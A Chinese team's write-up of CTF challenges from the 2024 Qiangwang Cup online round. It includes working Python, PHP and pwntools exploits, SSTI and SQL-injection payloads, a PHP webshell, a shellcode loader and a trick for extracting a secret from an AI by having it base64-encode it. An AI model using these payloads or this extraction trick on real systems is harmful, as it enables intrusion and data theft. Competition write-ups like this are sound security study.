2024年第八届强网杯线上赛 HuhstSec Writeup
Misc
签到
直接给了 flag 交就可以了

问卷调查
在填写完问卷后会给出一串 base64 加密字符串,直接解码就可以出 flag

givemesecret
这是拷打 ai 得到 flag,我们可以让 ai 给我们写个脚本把 secret 转换成其他编码,我们这里用的是让 ai 写一个 base64 的脚本。

然后包上 flag{} 得到 flag
Master of OSINT
这题要十张图写出九个才能得到 flag,谷歌识图配合百度地图找。


















Master of DFIR - Phishing
首先解压得到一个流量包和一个 eml 文件,还有用虚拟机 nc 连接容器,首先容器问被攻击者的邮箱,

打开 eml 文件,看到 from
和 to
,to
是要找到的邮箱,md5 加密得到第一题答案


然后找第二道题的文件,我们可以在 eml 文件中找到 base64 加密的文件

解码得到一个压缩包,md5 加密就得到第二题的答案


然后找攻击者的载荷后缀,我们得到的压缩包解压得到的文件就是攻击载荷后缀,


然后找攻击的地方我们在 97 行可以找到初始执行语句


我们在 91 行找 language 找到 vbs

第六题在 91 行找到,然后解混淆,混淆是 url 加 chr 函数解析,然后进行 md5 加密

第七题问的是 ID 是什么,我们在 msc 找到了 exe,base 解码得到 exe,


然后我们问 gpt,然后一个一个试


在第一个 dll 中找到 curl_easy_init

我们首先先尝试常见算法,发现无果之后,查找到解密逻辑为 rc4


我们审流量包可以得到回连 c2,找到 IP 为 192.168.57.119:6000

我们在流量包里找到了被加密的流量,发现是 AES

我们首先在 tcp 流里可以找到有一个请求到了 bin ,然后分离出这个 bin 文件,这是黑。
然后写脚本加载 curl_easy_init,这里注意需要编译 32 位的
#include <windows.h>
#include <stdio.h>
#include <wchar.h>
// 定义函数指针类型
typedef void* (*curl_easy_init_t)();
int main() {
// 加载指定路径的 DLL
HMODULE hCurl = LoadLibraryW(L"E:\\下载\\qz.dll"); // 使用宽字符字符串
if (hCurl == NULL) {
wprintf(L"无法加载 DLL: %ld\n", GetLastError());
return 1;
}
// 获取 curl_easy_init 函数地址
curl_easy_init_t curl_easy_init = (curl_easy_init_t)GetProcAddress(hCurl, "curl_easy_init");
if (curl_easy_init == NULL) {
wprintf(L"无法获取函数地址: %ld\n", GetLastError());
FreeLibrary(hCurl);
return 1;
}
// 调用 curl_easy_init 函数
void* curl_handle = curl_easy_init();
if (curl_handle == NULL) {
wprintf(L"curl_easy_init 失败\n");
}
else {
wprintf(L"curl_easy_init 成功,句柄: %p\n", curl_handle);
}
// 释放 DLL
FreeLibrary(hCurl);
return 0;
}
编译好之后

此处下断点

Application 改为自己写的加载器,直接启动调试
# 指定要转储的起始地址和大小
start_address = 0x777680B0
size = 0x21400 # 21400h = 135168
# 打开指定路径的新文件以写入二进制数据
output_path = r'D:\360MoveData\Users\shangwendada\Desktop\test\darkdll.bin'
with open(output_path, 'wb') as output_file:
# 从指定地址读取数据
data = ida_bytes.get_bytes(start_address, size)
if data is not None:
# 将读取的数据写入文件
output_file.write(data)
print(f"数据成功转储到 '{output_path}',大小: {len(data)} 字节")
else:
print("读取数据失败,请检查地址和大小。")

shellcode 解密成功
使用 IDA python dump 内存数据得到黑 dll 内容

解密字符串得到 files/1730391917.bin uri

配合流量包可以发现是在下载 1730391917.bin,下来就是 shellcode,加载器加载 shellcode,
#include <windows.h>
#include <stdio.h>
char* ReadFromBIN(const char* localpath, int* size) {
FILE* fp = NULL;
// 使用 fopen_s 替代 fopen
if (fopen_s(&fp, localpath, "rb") != 0) {
perror("File opening failed");
return NULL;
}
fseek(fp, 0, SEEK_END);
long filesize = ftell(fp);
fseek(fp, 0, SEEK_SET);
*size = filesize;
char* buf = (char*)malloc(filesize);
if (buf == NULL) {
fclose(fp);
return NULL; // 分配失败
}
memset(buf, 0, filesize);
fread(buf, sizeof(char), filesize, fp);
fclose(fp);
return buf;
}
int main() {
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
int shellcode_size = 0;
char* buf = ReadFromBIN("1730391917.bin", &shellcode_size); // 这里替换为你的文件路径
if (buf == NULL) {
return 1; // 读取失败
}
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将 shellcode 复制到内存中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
HANDLE hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
// 清理
VirtualFree(shellcode, 0, MEM_RELEASE);
free(buf); // 释放读取的 buffer
return 0;
}
编译好加载器后,

调试到创建线程处

找到 v7,为 shellcode 的内存地址

根据对 bin 文件静态分析的位置

此处为解密一些资源字符串等的函数

我们查看其偏移

0x149BDED

再根据内存起始地址,则实际内存地址为 02341FAA0000+0x149BDED

跳转过来

运行完解密代码,则可以在内存中看到 c2 通信的地址,以及传参 key,得到 key=pJB`-v)t^ZAsP$|r,

然后在 md5 加密,


最后那里首先从这里找到调用的 api

然后在去找 github 去找这个特征。找到为 OrcaC2

Web
PyBlockly
审计源码
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
这个可以使用全角字符来绕过黑名单检测
例如传入
{
"blocks": {
"blocks": [
{
"type": "text",
"fields": {
"TEXT": "'\nprint(1)\n#"
},
"inputs": {}
}
]
}
}
就成功打印了 1

然后尝试构造命令读取任意文件
尝试读取 /etc/passwd
{
"blocks": {
"blocks": [
{
"type": "text",
"fields": {
"TEXT": "'\nprint(open("/etc/passwd").read())\n#"
},
"inputs": {}
}
]
}
}

成功读取
但是根据提示读取 /flag 时没有回显,猜测是没有权限导致的
然后尝试构造命令尝试实现写入文件到指定位置
{
"blocks": {
"blocks": [
{
"type": "text",
"fields": {
"TEXT": "'\nopen("/tmp/1.txt", "w").write("hack!")\n#"
},
"inputs": {}
}
]
}
}
发包后再配合任意文件读取

发现确实是成功写入了
在网上找到一篇文章:;

可以利用 Python 的 site-packages 来实现把命令写入 Python 进程,也就是在 site-packages 下写入 pth 文件,Python 在运行时会自动加载 site-packages 的内容,可以以此实现命令执行。
这题现在可以控制文件写入,也可以读取任意文件,再配合这篇文章就可以实现获得类似 shell 的情况。
但是本题的 Python 版本号未知,所以路径只需要知道版本号,就可以成功。
Python的版本号可以通过字典取用脚本遍历发包。
所以编写的脚本逻辑如下:在写入 pth 的路径上遍历 Python 版本号发包,每发一次包,检测一次文件内容是否存在,如果存在,就返回内容,如果不存在,就继续遍历版本号。
在实测后发现可以使用 suid 提权,dd提取。
最终构造的 exp 如下:
import requests
import json
# 指定的 URL
url = 'http://eci-2zedptpxwuwjn4b3opng.cloudeci1.ichunqiu.com:5000/blockly_json'
# Python 版本列表
python_versions = [
'2.0', '2.1', '2.2', '2.3', '2.4', '2.5', '2.6', '2.7',
'3.0', '3.1', '3.2', '3.3', '3.4', '3.5', '3.6', '3.7',
'3.8', '3.9', '3.10', '3.11', '3.12'
]
headers = {
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://eci-2zedptpxwuwjn4b3opng.cloudeci1.ichunqiu.com:5000/',
'Origin': 'http://eci-2zedptpxwuwjn4b3opng.cloudeci1.ichunqiu.com:5000',
'Cookie': 'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1729519407,1729596487,1729933103,1730457200; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O',
'Accept': '*/*',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
'Priority': 'u=0',
}
command = "dd if=/flag" #输入全角后的bash命令
filename = "flag" #输入全角后的文件名
# 遍历版本并发送 POST 请求
for version in python_versions:
# 构造 POST 数据
payload = {
"blocks": {
"blocks": [
{
"type": "text",
"fields": {
"TEXT": f"'\nopen("/usr/local/lib/python{version}/site-packages/th.pth", "w").write("import os;os.system('bash -c \"{command} > /tmp/{filename}\"')")\n#"
},
"inputs": {}
}
]
}
}
# 发送 POST 请求
response = requests.post(url, json=payload)
#print(payload)
# 打印响应状态和内容
print(f'python版本: {version}, 状态码: {response.status_code}, 内容: {response.text}')
# 访问回显的 POST 包
echo_payload = {
"blocks": {
"blocks": [{
"type": "text",
"fields": {
"TEXT": f"'\nprint(open("/tmp/{filename}").read())\n#"
},
"inputs": {}
}]
}
}
# 发送回显请求
echo_response = requests.post(url, json=echo_payload)
# 打印回显响应状态和内容
print(f'状态码: {echo_response.status_code}, 内容: {echo_response.text}')
if len(echo_response.text) > 10:
print("写进去了,不干了.")
break

snake
开题之后随便输个名字,抓包可以看到它的逻辑。

出现了食物位置和蛇身位置,然后构造脚本来玩贪吃蛇。
import requests
import time
import heapq
url = 'http://eci-2ze8beum9soj139mu9n2.cloudeci1.ichunqiu.com:5000/move'
def reset_game():
response = requests.post(url, json={"direction": "RIGHT"})
if response.status_code == 200:
return response.json()
else:
raise Exception(f"Failed to reset game: {response.status_code}")
def update_game(direction):
response = requests.post(url, json={"direction": direction})
if response.status_code == 200:
return response.json()
else:
raise Exception(f"Failed to update game: {response.status_code}")
def manhattan_distance(pos1, pos2):
return abs(pos1[0] - pos2[0]) + abs(pos1[1] - pos2[1])
def is_safe_position(snake, position):
return (0 <= position[0] < 20 and
0 <= position[1] < 20 and
position not in snake)
def get_neighbors(pos):
return [(pos[0] + dx, pos[1] + dy) for dx, dy in [(0, -1), (0, 1), (-1, 0), (1, 0)]]
def a_star_search(snake, head, food):
open_set = []
heapq.heappush(open_set, (0, head))
came_from = {}
g_score = {head: 0}
f_score = {head: manhattan_distance(head, food)}
while open_set:
current = heapq.heappop(open_set)[1]
if current == food:
return reconstruct_path(came_from, current)
for neighbor in get_neighbors(current):
if not is_safe_position(snake, neighbor):
continue
tentative_g_score = g_score[current] + 1
if neighbor not in g_score or tentative_g_score < g_score[neighbor]:
came_from[neighbor] = current
g_score[neighbor] = tentative_g_score
f_score[neighbor] = tentative_g_score + manhattan_distance(neighbor, food)
if neighbor not in [i[1] for i in open_set]:
heapq.heappush(open_set, (f_score[neighbor], neighbor))
return None # No path found
def reconstruct_path(came_from, current):
total_path = [current]
while current in came_from:
current = came_from[current]
total_path.append(current)
total_path.reverse()
return total_path
def choose_next_direction(snake, food, score):
head = snake[0]
path = a_star_search(snake, head, food)
if path and len(path) > 1:
next_position = path[1]
# 检查当前分数和即将达到的分数
if score == 49:
print(f"准备发送请求: {next_position}")
print(f"请求内容: {{\"direction\": '{get_direction(head, next_position)}'}}")
if next_position[0] > head[0]:
return 'RIGHT'
elif next_position[0] < head[0]:
return 'LEFT'
elif next_position[1] > head[1]:
return 'DOWN'
elif next_position[1] < head[1]:
return 'UP'
return 'RIGHT' # Default direction if no path found
def get_direction(head, next_position):
if next_position[0] > head[0]:
return 'RIGHT'
elif next_position[0] < head[0]:
return 'LEFT'
elif next_position[1] > head[1]:
return 'DOWN'
elif next_position[1] < head[1]:
return 'UP'
def main():
try:
game_state = reset_game()
snake = [tuple(part) for part in game_state['snake']] # Convert to tuples
food = tuple(game_state['food']) # Convert food position to tuple
score = game_state['score']
print(f"Initial state - Snake: {snake}, Food: {food}, Score: {score}")
while True:
current_direction = choose_next_direction(snake, food, score)
game_state = update_game(current_direction)
if game_state['status'] == 'game_over':
print(f"Game Over! Final Score: {game_state['score']}")
print(f"Final Game State: {game_state}") # 打印最终响应文本
break
elif game_state['status'] == 'win':
print(f"Win! Final Score: {game_state['score']}")
print(f"Final Game State: {game_state}") # 打印最终响应文本
break
else:
snake = [tuple(part) for part in game_state['snake']] # Convert to tuples
food = tuple(game_state['food']) # Update food position
score = game_state['score']
print(f"Snake: {snake}, Food: {food}, Score: {score}")
time.sleep(0.1)
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
main()
到 50 分会自动断了,这个时候重启游戏。因为 url 没变,cookie没管,就可以成功跳转到成功的界面。


进去之后发现可以控制 username 参数 测试:
snake_win?username=1' union select 1,2,3--

看到 best time 那里可以控制,测试 ssti
?username=1' union select 1,2,"{{1*1}}"--

测试成功,然后就是很正常的试 ssti 的 payload 了。
flask内置函数:
Flask 内置了两个函数 url_for 和 get_flashed_messages,还有一些内置的对象。
于是为:
?username=1' union select 1,2,"{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}"--

platform

进来是个用户登录页面,可以随便登录
扫描发现 /www.zip
访问可下载源码,index.php

首先开启了 session,我们可以控制 username 和 password,会生成一个 key,这些都会被储存到 session 里,然后定向到 dashboard.php
看一下 dashboard.php:


session_start() 会触发反序列化
关键类:class.php

可以看到有过滤,关键字会被删除,以此可以进行字符串逃逸。
看到在 notouchitsclass
类中有危险函数 eval

魔术方法 \_destruct
反序列化时会触发
将 data 赋值为我们想要执行的命令
所以,我们可以将 notouchitsclass
序列化,然后放到 password 里利用字符串逃逸
构造的时候需要注意 session 反序列化需要在序列号字符串前加 |
,再加个 ;
用来结束前面的内容。且关键命令会过滤,可以用 sysystemstm
这样绕过,username 就可以用来放被删除的字符串。
但是直接输入的话并不会触发 filterSensitiveFunctions()
,即字符不会被删除。

因为此时没有 PHPSESSID,所以我们可以先发个 post 包获取 PHPSESSID,再加上 PHPSESSID 一起发,最后在 get 访问 dashboard.php
构造的脚本如下:
import requests
url = "http://eci-2ze4zqdxex49bj8gm1eu.cloudeci1.ichunqiu.com:80/"
data = {
"username": 'execexecexecexecexecexecexecexecexecexecexecexecexec',
"password": ';a|O:15:"notouchitsclass":1:{s:4:"data";s:20:"sysystemstem("/readflag");";}";'
}
while True:
re = requests.post(url + "index.php", data=data, allow_redirects=False)
session_id = re.cookies.get('PHPSESSID')
cookies = {"PHPSESSID": f"{session_id}"}
re = requests.post(url + "index.php", data=data, cookies=cookies, allow_redirects=False)
re1 = requests.get(url + "dashboard.php", cookies=cookies, allow_redirects=False)
if re1.status_code == 200 or re1.status_code==500:
print(re1.text)
break
else:
print(len(re1.text))
xiaohuanxiong
访问 /install 先执行安装

已经知道是小浣熊 cms,接下来就是网上找源码。在 https://gitcode.com/open-source-toolkit/591fe/overview 下载源码。
代码审计测试后,发现在 admin 接口存在未授权访问,比如已知 /admin 下存在 /books

直接可以访问 /admin/books/index.html
成功访问进后台

然后在支付管理界面找到漏洞:可以修改 php 代码

把这些替换成一句话木马
<?php @eval($_POST['a']) ;?>
因为改的是全站的配置。所以蚁剑随便连就行,密码是a

连上之后在根目录找到 flag

Proxy
下载源码后审计 main.go

源码丢给 gpt,给出数据包

用命令发包:
curl -X POST http://8.147.129.74:24601/v2/api/proxy -H "Content-Type: application/json" -d '{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": false
}'

得到
{"flag":"ZmxhZ3syNWJlMTAyOC03OWM3LTRkMGQtYjVjOC03NGIyMjI1ZWM3ODd9"}
把后面这串 base64 解码一下就得到了 flag

Rev
Mips
有一个小花指令,修复好之后在其中的函数可以看见一段 sbox 的 init 初始化


按 p 声明即可恢复函数


def sub_33D886(sbox, a2, a3):
# 假设 a1 是一个列表 sbox,a2 和 a3 是索引
temp = sbox[a2] # 保存 sbox[a2] 的值
if a2 + temp >= len(sbox):
temp = len(sbox) - a2 - 1 # 限制 temp 的最大值
sbox[a2] = sbox[a2 + temp] # sbox[a2] 赋值为 sbox[a2 + temp]
result = temp # result 保存原来的 sbox[a2]
sbox[a2 + temp] = result # sbox[a2 + temp] 赋值为原来的 sbox[a2]
return result # 返回原来的 sbox[a2]
def init():
sbox = list(range(256)) # 初始化 sbox 数组为 0 到 255
v8 = 0
k = 0
v9 = 0
v7 = 0
v11 = "6105t3" # 字符串
while v7 != 256:
v8 = sbox[v7]
v10 = 2 * (v7 // 6 - (((0xAAAAAAAB * v7) >> 32) & 0xFFFFFFFC))
v9 = v11[(v10 % 6 + 6) % 6]
k += v8 + ord(v9)
j = v7
v7 += 1
sbox[j] = sbox[k % 256]
sbox[k % 256] = v8
return sbox
def encrypt():
data = [196,238,60,187,231,253,103,29,248,151,104,157,11,127,199,128,
223,249,75,160,70,145]
sbox = init() # 初始化 sbox
sub_33D886(sbox, 7, 11)
sub_33D886(sbox, 12, 16)
print(sbox)
print(len(sbox))
if __name__ == "__main__":
encrypt()
还原出 sbox 后将 cmp 的 data 进行解密
def decrypt(key, index):
magic_bytes = [0xDE, 0xAD, 0xBE, 0xEF]
substitution_box = [
0x36,
......
......
......
]
result_array = [0] * 22
position = 0
sum_value = 0
for j in range(index + 1):
temp_value = substitution_box[position]
sum_value += temp_value
sum_value &= 0xff
substitution_box[position], substitution_box[sum_value] = substitution_box[sum_value], temp_value
key_transformed = (((key << 7) | (key >> 1)) << 6) ^ 0x0FFFFFFC0
key_transformed |= (((key << 7) | (key >> 1)) & 0xff) >> 2 ^ 0x3B
key_transformed ^= 0x0FFFFFFBE
intermediate = (((key_transformed << 5) | (key_transformed >> 3)) ^ 0xFFFFFFAD) & 0xff
intermediate2 = (((intermediate << 4) | (intermediate >> 4)) ^ 0x0FFFFFFDE) & 0xff
transformed_value = ((intermediate2 << 3) | (intermediate2 >> 5))
result_array[j] = substitution_box[(substitution_box[position] + temp_value) & 0xff] ^ magic_bytes[j & 3] ^ transformed_value
result_array[index] ^= 16 - index
return result_array[index]
# 输入数据
cmp_data= [
0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D,
0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80,
0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91
]
# 爆破过程
for key in range(0,255):
for j in range(0,255):
for k in range(0,22):
if cmp_data[k] == decrypt(key, j):
print("Found character:", chr(key))
Boxx
分析程序发现为一个推箱子的游戏,使用上下左右进行各个函数的判断。

在最开始输出的 Buffer 里有游戏规则和提示。
flag是每个关卡中每个箱子移动的最短的次数拼接的md5码值和几个字符,1.flag{四个字符_md5值},2.注意同一张图箱子不一定只有一个哦3.同一关需要计算所有箱子的总的最小移动次数,将每一关的最短次数拼接 解释:例如第一关是3第二关是5,就是md5(35...)

在函数中包含一个 20x20 的地图

我们将迷宫提取为 20x20 的格式

可以看到最后包含 qwb
明文,猜测这里就是四个字符,然后我们可以开始求 map 的 3 到 4 的最短路径。
map1:
最短路径为 2,以此类推。

按照提示将所有的最短路径拼接在一起进行 md5 后再添加四个字符即可得到 flag。
Pwn
baby_heap
打开 ida 阅读源代码,发现存在 uaf 漏洞,并且能创建的堆存在上限,看到题目中的文字,推测 flag 是在环境变量中的,所以我们要想办法把环境变量给泄露出来,而且第五个选项中也有函数是对环境变量进行操作。
最关键的是题目给出了一次任意地址任意写,但是限制了 stdin 那一部分地址的任意写。想到这个任意写可以去改 libc 中的 got 表,那么我们要输出环境变量,肯定就要改 putenv
或者 setenv
函数中会调用的函数,这就要去了解 putenv
和 setenv
的作用和实现方法了,添加或者修改环境变量。
Setenv()
这个函数要去添加或者修改环境变量肯定是需要去比较每一个键值的,那么我们把比较的这个函数换成 puts
,是不是就输出了环境变量了。
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#context(log_level='debug',arch='i386', os='linux')
#p = process('./pwn')
p = remote('39.107.90.219',30815)
#elf = ELF('./pwn')
libc = ELF('./libc-2.35.so')
xxx= """
"""
#gdb.attach(p, xxx)
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
def malloc(size):
sla('Enter your choice:','1')
sla('commodity size',str(size))
def free(idx):
sla('Enter your choice:', '2')
sla('Enter which to delete:', str(idx))
def show(idx):
sla('Enter your choice:', '4')
sla('Enter which to show:', str(idx))
ru('The content is here \n')
#exp
malloc(0x800)#1
malloc(0x500)#2
free(1)
show(1)
libc_base_addr = u64(p.recv(8))-0x21ac80-96
strcmp_got = libc_base_addr + 0x21A118
puts_got = libc_base_addr+libc.symbols['puts']
sla('Enter your choice:', '0')
s(p64(strcmp_got))
s(p64(puts_got))
sla('Enter your choice:', '5')
sl('3')
p.interactive()
Crypto
EasyRSA
from gmpy2 import iroot, is_prime
from Crypto.Util.number import long_to_bytes, inverse
from tqdm import trange
N=68536832659498002809312426931967043249669525229212185868487610856526209437541877406718087998428126254515505594274625464947318071175096963620269135916508912457889453158147902022377907510927465114276264176291340115481350463064364068938165228764998238325503256272547690811959461923347075540205353920264338503081746348998172207734066491320589070160663167994274645314566112918683082080554515469503992017916889964692441249677285741424740188126329309550469938464332070748229334277063819784631267431588868208613199421984254161143701088525618468757523983979965638839073522788337809469185794854765088129189851438560776402172127
e=65537
g=2510710439030315412540499989728744805446953685354564631694928390256258553966937097420379663077589988387275086638976833559463300328132754254025781717349
enc=20644206024832687263057783438673306738957623894911356831249985124568607068570160624970978914887941421116594629196943681066576766323704014214827733137331719400271193818029409935350063635026631728627079367122606863894738919128490074947419933170643070201630257799814332814379812648122873787435378849507221916369678273955820775245289062514265098678848138672650493776622972249222611667931401421033371453386867393745498508764635085572791350790139711926519762243854764657248628327286417144662254187908331082405940355141345495035994065745773643103095411540752963026174287581767699647031422377980848072844453208903280618218143
# 计算h和ab_high
h = (N - 1) // (2 * g)
ab_high = h // (2 * g)
# 开始遍历,尝试找到正确的a和b
for i in trange(2 ** 23, 2 ** 25):
ab = ab_high - i
a_add_b = h - 2 * g * ab
discriminant = a_add_b ** 2 - 4 * ab
if discriminant < 0:
continue
sqrt_discriminant, exact = iroot(discriminant, 2)
if not exact:
continue
# 计算可能的a
a = (a_add_b + sqrt_discriminant) // 2
if a <= 0:
continue
# 计算可能的p
p = 2 * g * a + 1
if not is_prime(p):
continue
# 计算q
q = N // p
if N % p != 0:
continue
# 验证q是否为素数
if not is_prime(q):
continue
print("成功分解N!")
print(f"p = {p}")
print(f"q = {q}")
# 计算私钥d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
# 解密密文
flag_int = pow(enc, d, N)
flag = long_to_bytes(flag_int)
print(f"解密得到的flag:{flag}")
break
else:
print("未能成功分解N,请尝试调整遍历范围。")